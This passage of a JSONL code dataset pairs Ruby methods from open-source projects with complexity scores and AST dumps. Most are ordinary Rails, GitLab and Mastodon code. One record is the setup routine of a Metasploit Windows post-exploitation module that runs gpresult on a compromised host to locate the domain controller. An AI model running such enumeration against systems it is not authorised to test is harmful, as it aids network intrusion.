bytes)\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"output_data\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_data\"]},\"length\"]}]}]}]}","id":"24ad43e9-3199-4e27-b917-0558c7d3a329"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/local_admin_search_enum.rb","start_line":58,"raw_source":"def setup\n    super\n\n    # This datastore option can be modified during runtime.\n    # Saving it here so the modified value remains with this module.\n    @domain_controller = datastore['DOMAIN_CONTROLLER']\n\n    if is_system?\n      # running as SYSTEM and will not pass any network credentials\n      print_error 'Running as SYSTEM, module should be run with USER level rights'\n      return\n    else\n      @adv = client.railgun.advapi32\n\n      # Get domain and domain controller if options left blank\n      if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?\n        user = client.sys.config.getuid\n        datastore['DOMAIN'] = user.split('\\\\')[0]\n      end\n\n      if @domain_controller.nil? && datastore['ENUM_GROUPS']\n        @dc_error = false\n\n        # Uses DC which applied policy since it would be a DC this device normally talks to\n        cmd = 'gpresult /SCOPE COMPUTER'\n        # If Vista/2008 or later add /R\n        version = get_version_info\n        if version.build_number >= Msf::WindowsVersion::Vista_SP0\n          cmd << ' /R'\n        end\n        res = cmd_exec('cmd.exe', \"/c #{cmd}\")\n\n        # Check if RSOP data exists, if not disable group check\n        if res =~ /does not have RSOP data./\n          @dc_error = true\n          print_error('User never logged into device, will not enumerate users and groups. Manually specify DC.')\n        else\n          dc_applied = /Group Policy was applied from:\\s*(.*)\\s*/.match(res)\n          if dc_applied\n            @domain_controller = dc_applied[1].strip\n          else\n            @dc_error = true\n            print_error('Could not read RSOP data, will not enumerate users and groups. Manually specify DC.')\n          end\n        end\n      end\n    end\n  end","complexity_score":76.83,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@domain_controller\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN_CONTROLLER\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_system?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Running as SYSTEM, module should be run with USER level rights\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@adv\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"railgun\"]},\"advapi32\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]}]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"sys\"]},\"config\"]},\"getuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"DOMAIN\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\\\\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@domain_controller\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ENUM_GROUPS\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dc_error\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"str\",\"children\":[\"gpresult /SCOPE COMPUTER\"]}]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[null,\"get_version_info\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"build_number\"]},\">=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"WindowsVersion\"]},\"Vista_SP0\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"str\",\"children\":[\" /R\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"cmd.exe\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/c \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"does not have RSOP data.\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dc_error\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"User never logged into device, will not enumerate users and groups. Manually specify DC.\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dc_applied\",{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Group Policy was applied from:\\\\s*(.*)\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match\",{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dc_applied\"]},{\"type\":\"ivasgn\",\"children\":[\"@domain_controller\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dc_applied\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"strip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@dc_error\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Could not read RSOP data, will not enumerate users and groups. Manually specify DC.\"]}]}]}]}]}]}]},null]}]}]}]}]}","id":"1fba4c25-c2f9-48df-9539-eb89707f2ce7"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/grant_flow/flow.rb","start_line":27,"raw_source":"def matches_grant_type?(value)\n        grant_type_matches === value\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"matches_grant_type?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"grant_type_matches\"]},\"===\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"646e947c-1cff-43d2-8cc6-7c5ff3b59c6c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/checks/tag_check.rb","start_line":69,"raw_source":"def validate_encoding!\n        return unless Feature.enabled?(:prohibited_tag_name_encoding_check, project)\n        return if Gitlab::EncodingHelper.force_encode_utf8(tag_name).valid_encoding?\n\n        raise GitAccess::ForbiddenError, ERROR_MESSAGES[:prohibited_tag_name_encoding]\n      end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_encoding!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"prohibited_tag_name_encoding_check\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EncodingHelper\"]},\"force_encode_utf8\",{\"type\":\"send\",\"children\":[null,\"tag_name\"]}]},\"valid_encoding?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitAccess\"]},\"ForbiddenError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERROR_MESSAGES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prohibited_tag_name_encoding\"]}]}]}]}]}","id":"71fca2ae-7587-474e-843e-b453a5678f20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/specs/loop_runner.rb","start_line":8,"raw_source":"def run(args)\n        start = Time.now\n        loop_duration = 60 * QA::Runtime::Env.gitlab_qa_loop_runner_minutes\n\n        while Time.now - start < loop_duration\n          RSpec::Core::Runner.run(args.flatten, $stderr, $stdout).tap do |status|\n            abort if status.nonzero?\n          end\n          RSpec.clear_examples\n        end\n      end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loop_duration\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[60]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QA\"]},\"Runtime\"]},\"Env\"]},\"gitlab_qa_loop_runner_minutes\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start\"]}]},\"<\",{\"type\":\"lvar\",\"children\":[\"loop_duration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"Core\"]},\"Runner\"]},\"run\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"flatten\"]},{\"type\":\"gvar\",\"children\":[\"$stderr\"]},{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"nonzero?\"]},{\"type\":\"send\",\"children\":[null,\"abort\"]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"clear_examples\"]}]}]}]}]}","id":"64cee2c0-02cb-42da-b369-230914fa59f0"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/app/controllers/doorkeeper/authorizations_controller.rb","start_line":15,"raw_source":"def create\n      redirect_or_render(authorize_response)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_or_render\",{\"type\":\"send\",\"children\":[null,\"authorize_response\"]}]}]}","id":"5759c708-30e6-4bb3-adda-58dfd39610cb"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/topic_reply_choice_dialog.rb","start_line":30,"raw_source":"def click_cancel\n        find(\".btn-reply-where__cancel\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_cancel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".btn-reply-where__cancel\"]}]},\"click\"]}]}","id":"7486df0f-deb4-4e16-b83a-a5901f8ec60c"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/structured_event_subscriber_test.rb","start_line":221,"raw_source":"def test_render_cached_outer_partial_with_cached_inner_partial\n      Rails.stub(:root, File.expand_path(FIXTURE_LOAD_PATH)) do\n        set_view_cache_dependencies\n        set_cache_controller\n\n        with_debug_event_reporting do\n          assert_event_reported(\"action_view.render_partial\", payload: { identifier: \"test/_cached_customer.erb\", layout: nil }) do\n            assert_event_reported(\"action_view.render_partial\", payload: { identifier: \"test/_cached_nested_cached_customer.erb\", layout: nil, cache_hit: :miss }) do\n              @view.render(partial: \"test/cached_nested_cached_customer\", locals: { cached_customer: Customer.new(\"Stan\") })\n            end\n          end\n\n          # One render: inner partial skipped, because the outer has been cached.\n          assert_no_event_reported(\"action_view.render_partial\", payload: { identifier: \"test/_cached_customer.erb\", layout: nil }) do\n            assert_event_reported(\"action_view.render_partial\", payload: { identifier: \"test/_cached_nested_cached_customer.erb\", layout: nil, cache_hit: :hit }) do\n              @view.render(partial: \"test/cached_nested_cached_customer\", locals: { cached_customer: Customer.new(\"Stan\") })\n            end\n          end\n        end\n      end\n    end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_cached_outer_partial_with_cached_inner_partial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"const\",\"children\":[null,\"FIXTURE_LOAD_PATH\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_view_cache_dependencies\"]},{\"type\":\"send\",\"children\":[null,\"set_cache_controller\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_debug_event_reporting\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/_cached_customer.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/_cached_nested_cached_customer.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"sym\",\"children\":[\"miss\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/cached_nested_cached_customer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_customer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"Stan\"]}]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/_cached_customer.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_event_reported\",{\"type\":\"str\",\"children\":[\"action_view.render_partial\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]},{\"type\":\"str\",\"children\":[\"test/_cached_nested_cached_customer.erb\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"layout\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache_hit\"]},{\"type\":\"sym\",\"children\":[\"hit\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@view\"]},\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"str\",\"children\":[\"test/cached_nested_cached_customer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cached_customer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"new\",{\"type\":\"str\",\"children\":[\"Stan\"]}]}]}]}]}]}]}]}]}]}]}]}]}]}","id":"100027a0-ecc5-421d-8754-84236057b32a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/netsparker_xml.rb","start_line":74,"raw_source":"def tag_end(name)\n    case name\n    when \"vulnerability\"\n      @vuln.keys.each do |k|\n        @vuln[k] = @vuln[k].strip if @vuln[k].kind_of?(::String)\n      end\n      on_found_vuln.call(@vuln) if on_found_vuln\n      reset_state\n    end\n  end","complexity_score":20.8,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_end\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"vulnerability\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vuln\"]},\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vuln\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vuln\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@vuln\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"k\"]}]},\"strip\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_found_vuln\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_found_vuln\"]},\"call\",{\"type\":\"ivar\",\"children\":[\"@vuln\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"reset_state\"]}]}]},null]}]}","id":"9a3dfccc-5a7a-46f4-b92d-036fc3426a68"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/trilogy/trilogy_rake_test.rb","start_line":218,"raw_source":"def with_stubbed_connection_establish_connection(&block)\n        ActiveRecord::Base.stub(:establish_connection, nil) do\n          ActiveRecord::Base.stub(:lease_connection, @connection, &block)\n        end\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"with_stubbed_connection_establish_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"lease_connection\"]},{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"ab5599d9-c5aa-4b12-a337-226d4c76d112"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts/lookup_controller.rb","start_line":14,"raw_source":"def set_account\n    @account = ResolveAccountService.new.call(params[:acct], skip_webfinger: true) || raise(ActiveRecord::RecordNotFound)\n  rescue Addressable::URI::InvalidURIError\n    raise(ActiveRecord::RecordNotFound)\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ResolveAccountService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"acct\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_webfinger\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"InvalidURIError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]}]},null]}]}","id":"bb55a662-54da-42dc-acca-11129219e11a"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion_handler/promotion_duplicator.rb","start_line":27,"raw_source":"def copy_rules\n        @promotion.promotion_rules.each do |rule|\n          new_rule = rule.dup\n          new_rule.promotion = @new_promotion\n          new_rule.save!\n\n          new_rule.users = rule.users if rule.try(:users)\n          new_rule.taxons = rule.taxons if rule.try(:taxons)\n          new_rule.products = rule.products if rule.try(:products)\n        end\n      end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_rules\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@promotion\"]},\"promotion_rules\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rule\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_rule\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_rule\"]},\"promotion=\",{\"type\":\"ivar\",\"children\":[\"@new_promotion\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_rule\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"try\",{\"type\":\"sym\",\"children\":[\"users\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_rule\"]},\"users=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"users\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"try\",{\"type\":\"sym\",\"children\":[\"taxons\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_rule\"]},\"taxons=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"taxons\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"try\",{\"type\":\"sym\",\"children\":[\"products\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_rule\"]},\"products=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"products\"]}]},null]}]}]}]}","id":"c6ae9711-f6e2-4e5f-b2ac-ddd2f831d165"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/code_climate/code_climate_formatter.rb","start_line":55,"raw_source":"def content\n        configuration[warning.smell_type].fetch('content')\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warning\"]},\"smell_type\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"content\"]}]}]}","id":"565dc6b2-6438-4e49-8986-e1fd57336e4b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/sort_helper.rb","start_line":158,"raw_source":"def first_asc?\n      @criteria.first && @criteria.first.last\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"first_asc?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@criteria\"]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@criteria\"]},\"first\"]},\"last\"]}]}]}","id":"d56c8e47-9ed8-4257-aa6e-13b0a99ff3d7"}
